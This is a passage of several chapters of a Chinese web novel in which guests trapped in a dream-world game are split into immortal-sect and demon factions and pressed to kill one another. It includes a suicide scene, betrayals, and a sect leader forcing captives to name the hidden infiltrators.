张尧耳朵霎时烧得通红,似乎意识到自己说错话了,扇了扇嘴,胆怯地辩解道:“我当时还搞不清你的身份,害怕贸然出现会送命,所以……” 这种鬼话连张尧自己都说服不了,又如何说服俞小澄呢? 俞小澄知道,依照张尧谨小慎微的性格,一旦知道这是阵营战,必定乐意看见不同阵营的人意外身亡,这样不用自己动手,便可增加己方存活的胜算。 这的确很张尧,只是俞小澄没想到对方前脚刚说要跟自己组队,后脚就背刺一刀。 “那你今后打算怎么做?”俞小澄故作镇定地站起身,假装在四周捡石子打水漂,一步步靠近方才倒掉香锥的地方,又将香锥偷偷捡了回来。 张尧对她的举动并不上心,若有所思地回答:“我想拉你和吴哥来这边阵营,这样至少我们身份不对立,可以一同想办法逃离!” “你知道转换阵营的方法?”俞小澄好奇问。 “是的,只是……”张尧点头回答,忽又支支吾吾难以开口,“只是……需要杀一个仙门弟子或村民以示诚意……” 俞小澄头疼得扶住额头,差点没被张尧的答案气死,她很想问张尧觉得她能去杀掉谁,无奈地叹了口气,问:“就没有你换到仙门的选项吗?” “没有。”张尧斩钉截铁地回答,“妖族不允许背叛,否则会被规则杀掉。” 如今倒是有些难办了,要杀人来换阵营,俞小澄并不能接受,可张尧的阵营也无法改变,岂不是意味着她与张尧之间注定难以两全? 俞小澄将从陈奇口中得知的规则告诉了张尧,张尧显然不知道幽兰梦境的结局是要互相争斗到只剩一方。 “等到时限的最后一天,就算玩家没有动手,梦境也会决定我们的生死吗?”张尧有些难以接受,失神地望着倒映着一轮明月的河面。 “不知道最终决定的条件是什么,但……大概的确如此。”俞小澄不忍却又不得击碎虚无缥缈的希望。 张尧愁容满面,以拳击地,焦躁地说:“难道我们真的必须自相残杀,只为了满足恶灵的恶趣味?” 俞小澄很想摇头,可骗自己也没有意义,只能以沉默回应,可随即她又回想起什么事,话锋一转问张尧:“森林里的妖怪会不会就是这个梦境的恶灵?” “不知道啊,这么多妖怪,总不能全是恶灵分身吧……怎么了?”张尧不解。 “我只是想起一号客服的话,用正确的道具消灭恶灵便可以终结梦境。”俞小澄有些犯难,“可如今无法确认恶灵的身份,也不知什么才是正确的道具,要如何消灭……” “虽然我没进过幽兰梦境,但以雏菊和箭竹的经验,恶灵应该是特定的NPC,而非一个群体,也许不是妖怪。”张尧思索着说道。 “对了,还有一个办法,寻找记忆之门。”俞小澄提醒道。 “好像不比找出恶灵和道具简单啊……”张尧扶额叹气。 “如今也没有别的办法,你可以在森林里自由行动,先找一找吧,再看看能否打听出恶灵的线索,村子和仙门由我来找,对了,你再帮我打听一下吴樊祐是否在森林里遇袭。” 俞小澄与张尧商议后正准备离开,却被突然从林子里窜出来的三人拦住了去路,俞小澄借着烛火看清来人,正是两个高中生和袭击禾苒后逃跑的女生。 这三人出现得格外突兀,吓得俞小澄浑身一震,心里隐隐觉察到危险。 他们其中一个袭击过禾苒,另外两个袭击过萍萍和阿宿,想到这里,俞小澄警惕地看向四周,担心还有一个高中生藏在暗处准备偷袭。 “尧哥干得漂亮,还真有一个傻子上钩。”其中一个高中生兴奋地拍手叫好。 看三人的 48. 梦境(二) 《我好像住进了黑店》全本免费阅读 又有人死了? 俞小澄无比惊讶,昨晚她在村子里溜达了一个晚上,没有发现任何妖怪的踪迹,而村外遇到的三人也被自己放倒了,怎么会还有人死? 而且是在书院里,书院有结界,妖怪不可能进得来,学生也都被送上了山,仙门弟子没道理再神不知鬼不觉地死去啊。 “谁死了啊?”俞小澄问小厮。 小厮指了指厢房方向,焦急说道:“您去看看吧,是跟您一起来的女弟子,商先生要我去禀告村长,我先告辞。” 俞小澄简直不敢相信,心想:莫非那三人醒后又找上了禾苒和萍萍? 急冲冲往里走去,只见一群人围在厢房外,房门敞开着,所有人都在往里瞅,还不时交头接耳谈论着什么。 俞小澄挤进人群,伸长脖子往屋内看去,只见白羽楠和禾苒靠坐在墙角,看上去像是受了惊,而另一端的床铺上还安静地躺着一个人。 萍萍被两床被子夹在中间,和俞小澄离开时差不多,只是此刻两床被子皆被鲜血浸染,而萍萍的脖子上留着一道触目惊心的伤口,鲜血正是从那伤口喷涌而出的。 应该过了不少时间,鲜血已经凝固,萍萍的身体彻底僵硬了,睁开的眼睛里,眼珠已然浑浊,一只手死死掐住脖子,嘴微张着,看上去死前很痛苦。 俞小澄皱起了眉,转头看向白羽楠和禾苒,人就死在她们身旁,她们大概也很难接受,苍白的脸上没有一丝血色。 而俞小澄注意到,这两个人的身上都很干净,没有沾上一滴血迹。 这时,领队师兄和商先生也在房中,他们看着床上的尸体讨论着什么,过了好一会儿,领队师兄招呼白羽楠和禾苒走出了厢房。 俞小澄以为他是要开始盘问发生在房中的惨案,结果他以书院受到诅咒为结语,说要带商先生一同返回仙门,与掌门商议开启下河村防御法阵之事。 似乎没有人在意萍萍究竟是怎么死的,俞小澄诧异地望着准备离开的人群,直到白羽楠从她身旁经过,轻声问她该怎么办。 白羽楠脸色依然苍白,似乎受到的惊吓实在不轻。 俞小澄反问道:“昨夜究竟发生了何事?” 白羽楠一愣,结结巴巴回答:“没、没什么事啊,我们都很早就睡、睡下了,我睡得很、很沉,等天亮醒来,萍萍就……” 回忆仿佛让她很痛苦,她说话的声音越来越弱,到最后几乎都听不清了。 禾苒听到二人对话,插嘴道:“萍萍是自杀。” 俞小澄带着些许怀疑,看向禾苒问道:“你怎么知道?” 禾苒指了指床铺上的尸体,冷言冷语道:“我知道你在怀疑我,但她不是妖怪,我杀她没有意义,你自己进屋看看就明白了。” 俞小澄的确有一丝怀疑,所以她看到尸体的第一反应是确认与萍萍同在一屋的两人身上有没有沾上血迹。 毕竟,她清楚地知道一件其他人都不知道的事,那就是书院中的怪事全是妖怪逼迫仙门弟子所为,就像昨夜陈奇那样。 所以,她才会怀疑,会不会又是改变阵营的任务,才导致萍萍遇害的。 俞小澄带着疑问抬步进了屋,一步步靠近尸体,一股令人作呕的血腥味扑面而来,她只得用手掩住口鼻。 待到靠近了些,俞小澄才发现萍萍另一只耷拉在一边的手上,还紧紧握着一把沾满血污的刀,那刀看上去有些眼熟,似乎与林中初见时萍萍握在手里的是同一把。 只是她记得当时萍萍发脾气,将刀随意扔在了林子里,莫非在她没注意时,萍萍又将刀带出了林子? 这一点虽然搞不太清,可根据现场的血迹分布,的确可以断定萍萍是自杀的。 突然一种想法窜入脑海,会不会萍萍遇到了和陈奇一样的任务,可因为商先生听取了自己的建议,将全部学生都送上了山,所以萍萍的任务无法完成,最终导致了被迫自杀的结局? 回想起此前仙门弟子莫名自杀的怪事,俞小澄愈发坚信这样的推论。 如此思考着,害死人的愧疚感油然而生。 可梦境并没有留给她太多萎靡不振的时间,领队师兄在屋外催促起三人。 禾苒眼睛转了一圈,手指扶住额头,娇声娇气地说道:“唉,师兄,刚遇上这种事,我有些头疼,想先缓缓再回仙门,要不您先带各位师兄师姐回去复命?” 本以为领队师兄会不允,结果没想到他回答得十分干脆:“那你先休息。” 随后他又望向俞小澄和白羽楠,俞小澄有些犹豫,下河村里没找到记忆之门,她想到仙门再找找,可一想到五行试炼,她又心生退意。 她摸了摸挂在腰上的令牌,心中思索着可能性。 白羽楠却已经走到了领队师兄的身后,看样子是想好了要返回仙门。 这让俞小澄感到很意外,她稍加思索后也跟了上去。 “你不怕上了山就下不了山吗?”俞小澄走在白羽楠身旁,低声问道。 白羽楠始终有些心神不宁,被俞小澄突然搭话吓了一跳,她晃了晃手中布袋,慌张答道:“我带了干粮,想试试能不能进到小黑屋给曾勇送吃的。” “哦……”俞小澄轻轻吐出这个字后,一时不知该说什么。 夸奖对方有善心?实在有点虚伪。 俞小澄虽然也不愿意看到谁死,可大多时候她大抵是选择沉默,不去怪谁狠心,也不去同情谁倒霉,只是尽力不去落井下石。 多数时候,她觉得自己表现出的善良,不过是为了不落人口实,为了不被人讨厌罢了,一旦能找到理由,她便可自我安慰地说一句——这也是没有办法的事。 所以听说白羽楠还想着被关禁闭的人,她有些惭愧。 走出书院时,俞小澄发现同行的除了商先生,还有从村长家回来的小厮,对于能一同前往仙门,他异常兴奋。 俞小澄趁机远离了白羽楠,向小厮靠近,低声问他昨夜是否听到了琴声。小厮的答案正如她所想,他的确听到了琴声,然后今早就发现又死了人。 小厮的说法印证了俞小澄的猜想,很有可能萍萍就是因为无法完成变换阵营的任务才会遇害,此时她倒有些担心留在下河村的禾苒会成为下一个目标。 “对了,小兄弟,怎么你也要上山?”俞小澄突然好奇地问道。 小厮笑容洋溢在脸上,望着前方与领队师兄走在一起的商先生,眼神中满是崇拜与感激。 他说:“商先生说留在书院不安全,想引荐我入仙门做弟子,别人都说我资质平平,想入仙门难于登天,只有商先生一直鼓励我。” 对小厮来说,商先生是他人生中的贵人。 俞 49. 梦境(二) 《我好像住进了黑店》全本免费阅读 信息量太大,俞小澄感觉简直一时难以消化,思索许久,她没头没脑地问了句:“商先生莫非是掌门亲戚?” 是啊,如果不是亲戚,怎么那么多小道消息,而且仙门上下似乎丝毫不怀疑这些消息的准确性。 以前她就觉得奇怪,仙门掌门好像对商先生格外看重,不仅在书院设下保护结界,还将仙门法器伏妖炉外借。 不止如此,仙门有规矩,非仙门弟子选拔会时,寻常人不得入山门,可只因为商先生的一封信,掌门就破例应允。 如今更是随随便便举荐一下,就让入门无望的小厮成功跻身掌门亲传弟子。 俞小澄百思不得其解,感觉如果商先生不是背景很硬,那就是救过掌门的命,否则为何人人都对他言听计从呢? 很快,郝元青否定了她的猜想,商先生既不是掌门亲戚,也不曾救过掌门性命,可再细问缘由,郝元青万分惊诧地望着俞小澄,冷冷回道:“德高望重,本应如此。” 好的,就是一个词——设定! 俞小澄哭笑不得,赶紧转移了话题:“商先生又从哪里得知内应这一消息的?保真?” 郝元青的视线和他的面具一般冰冷,似乎俞小澄对商先生的质疑令他感觉不快:“商先生说有,那一定是有的。” 这算不上回答的回答,瞬间终结了话题,于是俞小澄尴尬地转到另一个疑问上:“那我们为何要带回嫣儿啊?” 郝元青犹豫片刻,似乎思考着该不该向俞小澄透露过多秘密,最终下定决心,才压低声音开口道: “此事,仙门中知道的人不多,既然今夜你要与我们同行,是该让你知道自己面对的是何种险境。” 听到这句话,俞小澄不由得咽了咽唾沫,竟莫名感觉一丝紧张,只因他说话的语气太像是有大事要发生,让俞小澄觉得他是想让自己死得瞑目似的。 郝元青语气平缓地继续说道:“当初为削弱妖王,掌门与三位长老将妖王部分法力抽离肉身,并分别封印,肉身封印于仙门秘境,法力则封印于一名女婴体内。” “那名女婴便是嫣儿?” 郝元青点头道:“正是。嫣儿爹娘曾是仙门弟子,为苍生献出了自己女儿。后来他们带着嫣儿隐居于下河村,不料妖族异动,二人双双殒命。为避免妖族发现嫣儿,掌门与商先生商议,暂且将她藏于游冥书院看护。” “那现在为何又要将她带回仙门?” “只要消除妖力,妖王便会彻底弱化,掌门便可集三长老之力消灭妖王。” “干嘛以前不直接消除妖力?” “以前没人能做到,现在时机成熟了,那部分妖力已经与凡人之躯融合,人死,妖力便会消失。” 郝元青的语调始终平缓,从始至终没有表现出丝毫怜悯,就像他说的不是杀人,而是一场代表正义的执行。 俞小澄没有争辩什么,只是默默听着一切,在心里反复默念:这就是梦境的规则,并不真实,不必介怀。 过了许久,她才平静地问道:“如果我们没能带回嫣儿呢?” 郝元青直视着她的眼睛,神色冷峻地回道:“若嫣儿落入妖族手中,封印怕是难以支撑,妖王再临,世上无人能再将其封印。” 这些话仿佛一种警告,反复在脑中回响,攻击着某些不切实际的想法。 傍晚时分,俞小澄随琮云长老和郝元青出了山门,这一次前往下河村的就只有他们三人,明面上是为了开启下河村的防御法阵,实则是为了暗中转移嫣儿。 下山时,原本晴朗的天空忽然阴云密布,云压得很低,闪电在云层之间翻涌,发出低沉的闷响,如同野兽的咆哮。 没走多久,雾气漫过山林,将林中一切笼罩其间,视线变得模糊不清。 琮云长老和郝元青走在前面,步伐沉稳,显然并未将林中的异样放在眼里。俞小澄紧紧跟在他们身后,对周遭一切充满警觉。 俞小澄有种不好的预感,似乎梦境的齿轮又转动起来,将身处其中的人推往不可避免的深渊。 林中忽然传来一声怪异的叫声,吓了俞小澄一跳,她战战兢兢向树林深处望去,一只通体乌黑的怪鸟自林间飞起,带着怪异的叫声远去。 俞小澄舒了一口气,继续朝前走去,这时却发现眼前被浓雾遮掩,早已看不见同行之人的身影。 她快步往前追赶几步,却始终未见那二人踪影,急得她大叫两声:“琮云长老!郝师兄!” 然而,没有回应,白茫茫的雾气为森林铺上一层纱,显得无比神秘,寂静中只有偶尔一声雷鸣充当背景音。 俞小澄感觉呼吸急促起来,森林暗处好像藏着什么危险的东西。 突然有人抓住了她的手腕,吓得她浑身一激灵,急忙捂住嘴,才没叫出声,胆战心惊往下看去,原来不过虚惊一场,招财正抬头仰视着自己。 “姐姐……雾里好像有人……” 招财目光犀利地扫视一圈,握住俞小澄手腕的手愈发用力,他陡然往旁边一闪,便拉着俞小澄躲到了一棵树后。 俞小澄正要说话,不远处突然响起窸窸窣窣的声音,像是有什么东西正从四面八方围拢,让人感觉不大对劲。 若那声音来自于一处,俞小澄还可能觉得是琮云长老和郝元青发现自己走丢,所以回过头来寻找自己。 可这声音来自几个不同的方向,如今仙门戒严,显然不可能是仙门弟子,下河村的村民夜里不敢贸然进山,剩下唯一的可能性,只能是妖怪。 进宝不知何时又挂在了俞小澄的背上,紧搂着俞小澄的脖子,紧张地东张西望。 俞小澄朝招财使了使眼色,又抬起指尖,指了指招财背上的黄符,招财立刻意会到。 下一刻,附身,画符,一气呵成,招财又将符纸贴在了俞小澄的胸口,随后大摇大摆地走进了雾中。 沿着被雾气遮掩得朦朦胧胧的小径往山下走,一路上,俞小澄看到许多奇形怪状的妖怪在林中蠕动,他们似乎忽然失去了目标,鼻子在空气中拼命嗅着。 招财不敢在路上多做停留,匆匆往前冲,可一直到了河边,他们也未见琮云长老和郝元青的踪迹。 前方浓雾散去,耳边响起河水汩汩流淌的声音,夜幕已然降临,远处的村落却死一般沉寂,没有一盏灯烛。 “先去游冥书院吧,那里 50. 梦境(二) 《我好像住进了黑店》全本免费阅读 俞小澄顿时羞红了脸,为误伤吴樊祐而连连道歉,慌手慌脚地将人从地上扶起,关切地询问着他有没有伤到哪里。 过了好一会儿,她才反应过来,立马又质问起吴樊祐这么久到底跑哪里去了,一点消息都没有,平白害人担心。 吴樊祐嬉皮笑脸地正要解释,却被张尧抢了先。 “这家伙找了个山洞躲起来,如果不是被我发现,估计能躲到最后一天!” 俞小澄对这个消息半信半疑,凝视着吴樊祐,希望能从他口中听到答案。只见吴樊祐怒瞪了张尧一眼,漫不经心地说:“我就知道你这小子会添油加醋,我不过是在山里寻找记忆之门,躲进山洞也只是为了躲避妖怪。” “哼,狡辩!”张尧冷嘲热讽,“我看那山洞里准备的东西还挺齐全,干粮酒水、柴火被褥……应有尽有,不像打算出来啊。” 吴樊祐辩解:“你以为找记忆之门不需要花时间?连上班都有下班时间,你不会想让我连轴转吧?我不过恰好在休息时间被你撞见,你就当我一直在摸鱼,你可真是当老板的料。” “强词夺理!你看小澄姐信么?”张尧将视线转向俞小澄。 俞小澄心中的确有疑问,她很想问吴樊祐:难道你不在意山上的人是否能下山?也不在意山上的人是否会饿肚子?其实我跟他们也没什么区别,对吧? 可看到吴樊祐与张尧争执的模样,她又不想火上浇油,索性将疑问全部咽进了肚子里,话锋一转问:“你们把我拉进屋干嘛?也不出声,我还以为是妖怪呢。” 还是招财的话提醒了她,身后是他认识的人,而非妖怪,俞小澄这才松了一口气,只要是人,便有弱点,她才会想到用火攻击。 按照她的猜想,身后大概是妖族阵营的某人,为了保护自己,她下手狠了些,只是没想到受伤的是吴樊祐。 吴樊祐指了指门外,低声说道:“村子里到处都是妖怪,我哪儿敢出声,我使劲拽你,你也不回头看看我……” 俞小澄不好意思地苦笑道:“刚在森林看见太多长相恶心的妖怪,我不太敢看……对不住……” “唉,学姐没事就好。”吴樊祐温柔一笑。 不知为何,俞小澄感觉他的笑有些复杂,这样想着,她便意识到,自己终究对他的杳无音讯耿耿于怀。 “妖怪今夜怎么倾巢而出了?”俞小澄赶紧转移了自己的注意力。 张尧的面色凝重起来:“昨夜,村民阵营的玩家已经全部出局,也意味着所有村民成为第一个失败阵营,妖族今夜会占领下河村,并找回妖王被封印的法力。” 说罢,张尧又托着烛台,将俞小澄领进了里屋,只见屋内桌旁坐着一男一女两个人,看上去是一对年轻夫妇,正围坐桌边夹菜吃饭。 他们夹菜的动作如静止了一般,仿佛是两个蜡人,样子十分逼真,连脸上细微的表情和笑纹都清晰可见。 这两人就是屋子的主人,太阳落山时,妖族闯入了下河村,瞬间带走了整个村子的生气,如今所有村民都成了这般。 “那我方才听到的脚步声……”俞小澄一时有些语塞,顿感脊骨发寒。 张尧瞥了吴樊祐一眼,无奈说道:“若吴哥没及时出现,你怕是跟妖怪撞上了。” 俞小澄担忧地望了一眼门外,问:“我们呆在这儿岂不是有危险,要不去书院躲躲,那里有……” 话还未说完,“结界”两个字刚到嘴边,她便想起张尧的阵营,自知说错话,赶紧住了嘴。 吴樊祐指了指屋内的血迹,笑道:“别担心,有血腥味做掩护,屋外那些妖注意不到我们。” “这血是……”俞小澄打量着吴樊祐,从他身上并未看到伤痕,仔细一想,她并不认为牲畜家禽的血能避免妖怪找上门。 吴樊祐似乎看出她的心思,轻松笑道:“学姐放心,都是张尧那小子的血,外面的妖怪只会认为屋里有同伴,不会注意到我们的。” 俞小澄扭头看向张尧,只见张尧一脸无奈,将烛台放到一边,挥了挥被布条包扎的左手,布条上渗出的鲜血还未干涸。 “这家伙倒是挺会利用梦境的设定……” 吴樊祐:“我且当这是夸奖。” 张尧:“你怎么听出这是夸奖了……” 趁着二人又在斗嘴的工夫,俞小澄走到窗边,推出一道细缝,向街上看去。 漆黑的村子里,有四个人影在晃动,黑夜中响起微弱的脚步声,一步步靠近了村口,他们似乎在寻找着什么。 当那四人靠近俞小澄所在的房屋前时,俞小澄紧张地闭上窗户,小心翼翼地滑坐在窗下,害怕使她忘记了呼吸。 她没有看清屋外人的长相,可四人的身形看上去不似妖怪,很快屋外传来隐约的说话声,证实了她的想法。 “现在还剩几个人?” “我们的人潜入两个,应该就剩四个。” 俞小澄依稀听出这两个声音,好像是在村外袭击自己的那两个高中生。 “禾苒那贱人好像没离开村子,大概还在村里某处,今晚一定要找出来。” 接话的是个女生,听上去与禾苒有深仇大恨,俞小澄首先想到的便是肖雪的朋友,唯一还活着的那个。 “你们不会真想杀人吧……” 最后这人的声音,俞小澄也听过,是那个西装男。他颤抖的声音与其他三人的镇定形成鲜明对比,其他三人开始攻击起他的软弱,他有些不服气。 如今所有人的阵营都已经明了,可高中生的话引起俞小澄的注意。潜入两个?这是什么意思?莫非仙门中已经有两人改变了阵营? 思及此处,俞小澄感觉心惊,她能确定的只有陈奇,那剩下的那人是谁? 屋外的争执声还在继续,而俞小澄已经没有兴趣再听下去,她起身走到张尧身旁,低声问道:“除了陈奇,还有谁改变了阵营?” 张尧茫然地与她对视,摆头道:“我不知道,我觉得屋外那几个人也和我一样,内应人数是妖族阵营内众所周知的信息,可不是任何小妖都有资格让人做出阵营选择。” 他的话,俞小澄自然相信,因为与陈奇交谈的那个人并非玩家其中之一,一个念头跳进她脑子里,她缓缓问道:“你说有没有可能,那个安插内应的妖怪就是恶灵?” 张尧思索片刻,点头表示同意,没一会儿又摇头叹气:“就算它是,我们也不知道是哪个妖怪啊……这种事不好打听……” 俞小澄若有所思:“恶灵到底 51. 梦境(二) 《我好像住进了黑店》全本免费阅读 这场战斗结束得异常迅速,或者说,根本不能称之为战斗,而是单方面的秒杀。 地上横躺着三个被五花大绑的人,正以惊恐的眼神仰望着那个无法企及的高人,远处两具焦尸还冒着热气,散发出令人恶心的焦臭味。 房子里,俞小澄和张尧也屏住了呼吸,唯恐大口喘气会招来杀生之祸。 于是,这一口气一直憋到满脸通红,直到吴樊祐双手并用,分别拍在二人后背上,他们才吐出一口气。 吴樊祐笑道:“干嘛呢,我们是仙门弟子,他又不会伤我们。” 俞小澄恍然大悟:“啊,被琮云长老的英姿吓失忆了……” 张尧翻着白眼:“但我不是啊,那我是不是该逃?” 吴樊祐指了指窗外,淡然回答:“来不及了,你已经被发现了。” 他的话音刚落,房门瞬间爆裂成了碎片,一个如清风般的人影嗖的一声闪进了屋里,正是神色清冷的琮云长老。 随后,郝元青也慢悠悠地踱着步子,走了进来。 看到屋中三人,郝元青愣了愣神,笑着问俞小澄:“小鱼师妹,你怎么在这儿,我方才四处寻你不见踪影,莫非是被这小妖给抓到了这里?” 郝元青说着指了指张尧,张尧冷汗直流,急忙辩解:“不不不,是他们抓我。” 郝元青一脸狐疑,盯着俞小澄的眼睛,问:“当真?” 屋内所有的视线似乎都聚焦到了俞小澄身上,仿佛她随便一句话就能决定一个人的生死,她倍感压力,试探地反问:“如果是真的呢?” 郝元青爽朗地笑了两声,拍了拍她的肩膀,说:“有些本事,那自然得赏。” 俞小澄缓缓呼出一口气,点头道:“那就是真的。” 郝元青闻言,从腰囊中拿出两枚金币递到俞小澄手上,浅笑着说:“活捉尚可,杀掉更好。” 霎时间,俞小澄回想起禾苒因为杀掉肖雪的朋友而获得了五枚金币,心里堵得慌,原来在幽兰梦境中,五枚金币便是人命的重量。 在她沉默时,吴樊祐凑到了郝元青面前,问:“捉住妖怪两枚金币,那严刑逼供获取敌情又有多少奖励?” “哦?你有严刑逼供吗?”郝元青怀疑地来回打量着吴樊祐和张尧。 吴樊祐与张尧只是相视一眼,张尧立马蹲在地上捂手哀嚎,而吴樊祐一本正经地指着屋内血迹,说:“你看,这满墙的血迹就是严刑拷打留下的痕迹。” 郝元青将信将疑:“这血……是不是少了些……” 张尧哀嚎地越发大声:“啊!好痛!你们好狠的心,我天生贫血,你们这是丧尽天良啊,还自称什么仙门!” 郝元青沉默片刻,轻叹一口气,问吴樊祐:“那你问出什么了?” 吴樊祐稍加思索,道:“仙门里溜进两个内应。” 郝元青:“那他招了内应的身份吗?” 吴樊祐:“瞧他那德性,定是妖族最底层,怎会接触到核心机密呢?” 郝元青:“……” 一阵沉默后,郝元青万般无奈地从腰囊中掏出一枚金币递给了吴樊祐。 吴樊祐接过金币,扭头就转交给了俞小澄,随后又漫不经心地问道:“你们打算如何处置这些妖怪?” 郝元青没有回答,而是看向了一直静静观察着众人的琮云长老,那眼神似乎是在向师父请示。 琮云长老神情冷漠,语气不屑地说:“这些不过废物,不足为惧,绑回仙门听掌门发落。倒是山林中那些妖不好对付,此地不宜久留。元青,你先行押送这几只小妖回山,你们两个,随我去书院带回嫣儿。” “谨遵师命!” 郝元青瞬间变出一捆绳索,径直走向张尧。张尧神情紧张地望着俞小澄,眼神中满是对未知的恐惧。 俞小澄不知道他会被带去哪儿,而他们所谓的听候处置又会发生什么,于是内心不安的她还是鼓起勇气拦在了郝元青身前。 “呵,郝师兄,外面还有三个呐,怎么好意思让师兄操劳,他就交给我们吧!” 郝元青面露难色,看了看琮云长老,见他不动声色,便妥协道:“交给你们能行吗?这些妖都擅于迷惑,你们可得当心。” 吴樊祐从郝元青手里夺过绳索,笑着说:“放心吧,这小妖被我们下了毒,只能乖乖听话。” 张尧立刻配合地举手发誓:“对对对,绝对服从指令!” 郝元青一时语塞,总算点了点头,向琮云长老辞行后,便出屋押着两高中生和西装男往村外走去。 琮云长老则招了招手,示意俞小澄和吴樊祐跟随他前往书院。 吴樊祐将绳子一头塞进张尧手里,然后象征性地在张尧手腕上绕了两圈,便拉着张尧跟在了琮云长老身后。 有个实力派挡在身前,犹如开挂了一般轻松,俞小澄再不需要战战兢兢在村里移动,更不需要附身加献血来躲避妖族。 进入村子的妖怪并不多,据张尧的“口供”,妖族仅派了几只杂兵来协助他们这些玩家,目的也只是消灭留在村子里的其他阵营玩家。 有琮云长老这个官方外挂防身,护送嫣儿这个任务顿时开启简单模式。 俞小澄三人就跟摄像头一样,全程见证了琮云长老将嫣儿从书院带出,牵着嫣儿的手单手迎敌,闲庭信步,在山道上杀出一条血路。 吴樊祐:“这能不是主角?” 张尧:“主角光环都要溢出屏幕了!” 俞小澄:“那他就是恶灵?” 三人紧跟在琮云长老和嫣儿身后窃窃私语。 张尧:“他这么厉害,我们怎么可能干得掉他啊?” 吴樊祐:“不是说需要道具吗?要不用打火机试试?” 俞小澄:“……” 一个时辰后,众人已经轻松地回到了仙门,琮云长老施法暂时破开结界,带着众人进了山门。 一路实在太过顺利,反而让俞小澄忍不住疑神疑鬼起来。 如果琮云长老是恶灵,他究竟在干什么?为了在玩家面前展示自己的帅气与强大吗? 她并不认为热衷于藏在暗处看玩家自相残杀的变态,会有挡在他人身前装英雄的癖好,所以她内心想要将琮云长老排除。 进了山门,琮云长老带着嫣儿前往正殿见掌门,似乎一点未将俞小澄三人放在心上,甚至对他们带回的妖族都不闻不问。 这对三人来说倒是值得庆幸的好事,趁着琮云长老没反悔,俞小澄带着吴樊祐和张尧到了后院新弟子休息处。 房中空无一人,短短三日,死亡人数近半。 白羽楠、陈奇、曾勇被关禁闭,高中生和西装男三人不知被押送到了何处,禾苒下落不明。 十八个人进入梦境,如今 52. 梦境(二) 《我好像住进了黑店》全本免费阅读 三个被关禁闭的弟子进到广场,就在郝元青的指引下回到了人群之中,三人看到俞小澄,纷纷靠拢过来,想从她口中打听发生了什么。 俞小澄在向三人简单说明时,另外三个人被大师兄押到修行台前方,一字排开,大师兄在三人膝腘处踢了一脚,三人便面向修行台跪在了广场上。 人群中,听了俞小澄的说明后,三人神色各异,白羽楠的表情有种释然的味道,陈奇是明显的惊慌,曾勇则表现出事不关己的淡定,反而话锋一转,询问为何禾苒没有回来。 “谁知道她躲哪儿去了,大概想苟到最后一日吧。”吴樊祐轻蔑一笑。 曾勇没说什么,似乎只要确定禾苒还活着,他就能稍微放下心来。 看曾勇精神还不错的样子,看来白羽楠将干粮顺利送到了他的手里,俞小澄一时不知该不该告诉他,在他被关禁闭的时候,禾苒已经彻底将他视为弃子。 不过如今也不是纠结这件事的时候,俞小澄有些于心不忍地看着陈奇,此时当着大家的面,她也不好直接告诉陈奇离开这里,那无疑就是告诉所有人——陈奇就是内应。 正思索着该如何应对,只见陈奇偷偷溜出了人群,可下一秒就被郝元青拦了下来,他灵机一动,一脸痛苦地捂住肚子,说肚子疼需要如厕。 郝元青摇头叹息,语气平缓:“你修行不足,境界不够,才会为凡尘俗事所扰,唉,以后定要勤于修炼啊!” 陈奇以为计策失败了,没想到对方一脸无奈地挥了挥手,叮嘱他快去快回,随后便放他离开了。 这是俞小澄没有想到的,如果能躲,她实在不知道今日集会他们如何信誓旦旦能找出内应,可转念一想,如果在场的人中没有,那陈奇岂不是反向暴露?只是不知掌门和长老是否想到这一点。 不一会儿,修行台上一个面孔刚毅不凡、气势威严的中年人站到了众人面前,广场上立马鸦雀无声,这气魄,阜掌门无疑。 他一开口,声音如暮鼓晨钟般浑厚有力: “因封印松动,妖族日益猖獗,近日得密报,妖族内应已潜入仙门,企图破坏阵眼,放妖王再临人间,有我仙门在的一日,必不会让他们如愿!” 台上慷慨激昂地演讲,引得台下呼声不断。 “今日,便以妖血祭奠仙灵,肃清内应!” 阜掌门的每一个字都充满力量,振奋着台下弟子的心,鼓舞着他们与妖族决一死战的士气。只有俞小澄几人一直沉默不语,这些人口中的妖,不过是普普通通的住客,莫名其妙进入梦境,又莫名其妙被安上了阵营。 台下跪着的三人被吓得不清,扭动着被五花大绑的身子,若他们的嘴没有被堵住,不知此刻是要高声咒骂,还是卑微求饶。 对于那三人,俞小澄并不觉得有多值得同情,特别是回想起那两个高中生试图袭击她时的场景,以及他们对萍萍和阿宿的毫不留情。 或许他们一开始当真以为这只是一场没什么大不了的游戏,可后来他们只在乎输赢。 至于西装男,她根本不认识这个人,对他印象不深,甚至不知道他的名字,这样一个与自己毫不相干的人死去,似乎也无所谓。 可是张尧呢?莫非也要他成为自己逃离梦境的垫脚石吗? 在她内心挣扎时,阜掌门并没有对三个阶下囚动手,而是略带一脸深意的笑,声音再度响起:“虽然我很想现在就将你们烧成灰烬,可商先生仁义,即便是妖,他也愿意给你们一个活下去的机会。” 三人闻言大喜,前一刻惊恐到绝望的眼睛里,点亮了希望之火,不停地点头,嘴里发出呜呜的声音。 俞小澄觉得有一丝诡异,活下去的机会?又是商先生的提议?为何要多此一举? 正在疑惑之际,阜掌门说:“只要你们供出内应,我可以放你们离开。” 这是一道毫无悬念的选择题,在内应与自己之间选择,只要脑子正常,都会选自己。 可真正的问题是,如果不杀这三人,掌门又如何能判断出他们供出的人就是内应呢? 张尧说过,像他们这样级别的小妖,没有资格接触到核心的秘密,那么这三人大概率并不知道内应是谁。可如果他们为了活命说谎呢? 俞小澄皱着眉思索良久,终是畏畏缩缩地举起了手来。 感受到阜掌门投来的目光,俞小澄高声发问:“抓到内应,掌门打算如何处置?又如何确定他们说的是真是假?” 阜掌门发出豪迈的笑声:“抓到内应自然以儆效尤,至于真假,不需要我分辨,被指认者可以自证,杀掉诬陷自己的妖即可。” 好家伙,逻辑闭环了…… 这句话一出口,被绑三人不得不考虑说谎的后果。看似给妖和内应活命的机会,可实际上二者之间必死其一,终归是玩家之间相互残杀罢了。 俞小澄顿时无话可说,心情忐忑地望向高中生和西装男,他们是死是活好像只能听天由命了。 见再无人有异议,阜掌门扬手命人解开了绑在三人嘴上的布条,厉声问道:“说,内应是谁。” 高中生和西装男相视一眼,谁都拿不定主意,头上直冒冷汗,身体也不由得微微颤栗,嘴里嘀嘀咕咕说着什么,声音很低,其他人根本听不清,但看他们的神情,似乎是在讨论着内应的身份。 过了许久,从那两名高中生的口中传出两个名字: “俞小澄。” “白羽楠。” 俞小澄瞪大了眼睛,正面迎上高中生带着挑衅的眼神。白羽楠面如死灰,紧紧地咬着嘴唇。 他们是胡猜的,还是故意的? 